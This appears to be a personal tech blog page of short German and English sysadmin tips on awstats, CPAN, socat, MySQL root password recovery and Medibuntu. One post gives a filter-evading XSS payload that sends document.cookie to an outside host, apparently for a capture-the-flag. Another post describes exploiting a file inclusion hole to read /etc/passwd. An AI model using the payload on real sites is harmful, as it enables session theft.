This week I ran into a problem with awstats: We changed the awstats configuration file in /etc/awstats/awstats.conf, and wanted to apply these changes to the statistics generated by awstats.
Because these statistics are generated by awstats.pl, we needed to find a way to regenerate them from our gzipped Apache2 logfiles stored in /var/log/apache2 on our Debian systems.
Here’s our solution to the task at hand, a small shell script:
1 2 3 4 5 6 7 8 9 10 11 12 | # Find all gzipped apache log files for f in `ls access.log.*.gz`; # Unzip Logfile do echo "unzip $f.."; gunzip $f; # Call Awstats on this logfile echo "run awstats.."; perl /usr/lib/cgi-bin/awstats.pl -logfile=`echo $f | replace .gz ''` -update -config=awstats; # Gzip Logfile again to save space echo "gzipping $f.."; gzip `echo $f | replace .gz ''`; done |
Heute Mittag hat mich mal wieder das Thema CPAN eingeholt, dem Modulmanagementsystem von Perl. Ein Kollege hatte Probleme dabei, das Perl-Modul XML::SAX zu installieren. Da vielleicht einige von euch hin und wieder mit CPAN kämpfen, habe ich mich entschlossen meine Antwort hier zu veröffentlichen.
Was ist CPAN?
Für die Modulverwaltung gibt es in Perl ein Ungetüm namens “CPAN”, das ist in etwa mit apt(itude) bei Debian/Ubuntu oder yaml vergleichbar und kann als eine Art Paketmanager für Perl-Module angesehen werden.
Was ist ein Perl-Modul?
Ein Perl-Modul ist vergleichbar mit einer konventionellen Library, die von Binaries für bestimmte Funktionen benötigt wird. Es kann in Perl-Programmen eingebunden werden und stellen diesem eine Programmbibliothek zur Verfügung.
In unserem Fall ist die genaue Aufgabe von XML::SAX einen einfachen Zugriff auf XML-Dokumente zu ermöglichen.
Wie installiert man ein Modul per CPAN?
Das Modul XML::SAX habe ich wie folgt installiert:
- Gehe in die CPAN-Shell mit folgendem Befehl:
1
perl -MCPAN -e shell
(Wenn du dabei irgendetwas gefragt wirst, einfach immer die Enter-Taste drücken und somit die Frage mit dem Standardwert beantworten)
- Installiere das gewünschte Modul (hier: XML::SAX) mit
1
install XML::SAX - Das Modul wird nun entweder aus dem bereits lokal vorhandenen Sourcecode entpackt (
/usr/srcunter Debian) oder aus dem Internet von CPAN.org heruntergeladen und danach automatisch per `make install` installiert.
Wenn hierbei keine Fehler auftreten dann ist alles erfolgreich abgeschlossen worden. - Um zu überprüfen, ob das Modul wirklich installiert wurde, kannst du einfach erneut den Installationsbefehl eingeben.
1
install XML::SAXCPAN sollte nun die Meldung
XML::SAX is up to date (0.96)aussprucken, es ist also alles im grünen Bereich.
Nun ist das Perl-Modul XML::SAX installiert und verfügbar. Ich hoffe meine kleine Anleitung konnte dir helfen
If you want to open all *.js, *.css and *.html files in a specific directory with your favorite editor geany, execute the following command:
1 | find . -type f -a -name \*.html -o -name \*.js -o -name \*.js | xargs geany & |
Have fun!
Schöner XSS-Vektor
Ich war gerade in der Situation, dass ich mit einem XSS-Vektor Cookies stehlen musste. An für sich ist das nichts ungewöhnliches, bis auf die Blacklist: cookie, http://, script und diverse weitere HTML-Tags wurden gefiltert.
1 | <iframe src="//google.de" onload="this.src=['//www.roonk.de?ctf4=',eval(['docume','nt.co','okie'].join(''))].join('')"></iframe> |
Unsicherer PHP-Programmierer
Seit einigen Tagen habe ich eine Stelle als PHP-Programmierer ausgeschrieben und auf diese Weise jemanden gesucht, die mir bei aufwändigen Arbeiten etwas hilft.
Ich habe schon viele gute Bewerbungen erhalten, aber sie waren alle nichts gegen den Kerl, der heute morgen per Email hereingeflogen kam. Die Eckdaten waren schonmal vielversprechend:
- 12+ years PHP experience
- 8+ years Perl experience
- sehr ansprechender Stundenlohn
Das klingt nach einem Perl-Guru, der dann auf PHP umgesattelt ist, nicht wahr?
Es wurden zwei PHP-Projekte zur Referenz angeboten, direkt mal angeschaut und vom Stuhl gefallen. Der Grund ist nicht wirklich schwer zu finden, die URL sah wie folgt aus:
http://XXXXXXXXXXXX.com/?main=pce/index.php
Für die Personen die spätestens jetzt total verwirrt sind: Der Homepage wird hinter dem ? der Variable main die Adresse zu einem PHP-Script zugewiesen (und zwar pce/index.php).
Wenn man also den Inhalt von main entsprechend verändert, kann man beliebige Dateien des Servers anzeigen. Beispiel:
So können wir die Datei /etc/passwd auslesen, in der Informationen über die Benutzeraccounts eines Linux-Systems gespeichert sind. Natürlich ist jetzt auch nicht mehr weit bis zu einem erfolgreichen Hack, aber darum geht es an dieser Stelle auch nicht.
Es gab noch einige weitere Sicherheitslücken in seinen Referenzprojekten, und nett wie ich bin habe ich sie ihm natürlich auch sofort mitgeteilt.
Den Job wird er aber nicht bekommen und hiermit verabschiede ich mich, sprachlos.
Ubuntu PostScript error: limitcheck
Nach dem Ausdrucken einer Bilddatei sah ich den folgenden Postscript-Fehler auf dem Papier:
1 2 3 | ERROR: limitcheck OFFENDING COMMAND: image STACK: false , ( Resource/ProcSet/ComposeOCF ) , ( r ) , |
Nachdem ich die Bilddatei mit Gimp öffnete, wurde mir in einem Dialog die Farbraumkonvertierung zu SRGB angeboten. Nachdem diese durchgeführt wurde, speicherte ich das Bild unter einem anderen Dateinamen und der Druckvorgang funktionierte endlich wieder
socat Port Forwarding
Um z.B. den lokalen Port 3306 auf den port 8849 eines anderen Hosts weiterzuleiten, führe man folgenden Befehl aus:
socat TCP4-LISTEN:3306 TCP4:mein-server.de:8849
Im Notfall muss man vorher natürlich noch per apt-get install socat socat installieren!
Recover MySQL Root Password
- Stop mysqld process:
/etc/init.d/mysql stop - Start mysqld with –skip-grant-tables:
mysqld --skip-grant-tables - Open another shell, login as root:
mysql -uroot - Switch to the “mysql” Database:
use mysql; - Change root password in mysql console:
UPDATE user SET password=PASSWORD('newpassword') WHERE user='root'; - leave mysql console:
quit; - Restart mysql daemon:
/etc/init.d/mysql restart
Have fun!
Google Earth auf Ubuntu installieren
Um Google Earth auf Ubuntu zu installieren, benötigen wir erst einen funktionierenden Zugriff auf das Medibuntu-Repository (Wie kann ich das Medibuntu-Repository unter Ubuntu einrichten?).
Jetzt versuchen wir Google Earth über den Paketmanager zu installieren:
1 | sudo apt-get install googleearth |
Nach einigen Minuten Downloadzeit ist die Installion von Google Earth fertig. Nun können wir Google Earth unter Ubuntu verwenden. Viel Spaß!
Das Medibuntu-Repository ist eine große Ansammlung von Programmen, Codecs und Multimedia-Tools, die aus rechtlichen Gründen leider nicht direkt in Ubuntu integriert werden können.
Durch über Medibuntu bereitgestellte Software kann man also zum Beispiel
- Kopiergeschützte DVDs abspielen
- Kopiergeschützte CDs abspielen
- Musik im “Windows Media”-Format abspielen
- Google Earth oder Acrobat Reader auf Ubuntu installieren
Klingt ganz gut, oder? Also los:
1 – Medibuntu Repository hinzufügen:
1 | sudo wget --output-document=/etc/apt/sources.list.d/medibuntu.list http://www.medibuntu.org/sources.list.d/$(lsb_release -cs).list && sudo apt-get --quiet update && sudo apt-get --yes --quiet --allow-unauthenticated install medibuntu-keyring && sudo apt-get --quiet update |
2 – Programm installieren, mit dem Medibuntu-Software auch im normalen Software-Manager zur Auswahl angezeigt wird (nicht unbedingt erforderlich):
1 | sudo apt-get --yes install app-install-data-medibuntu apport-hooks-medibuntu |
Das war es jetzt auch schon, wir haben das Medibuntu-Repository erfolgreich zu unserem Ubuntu-System hinzugefügt!






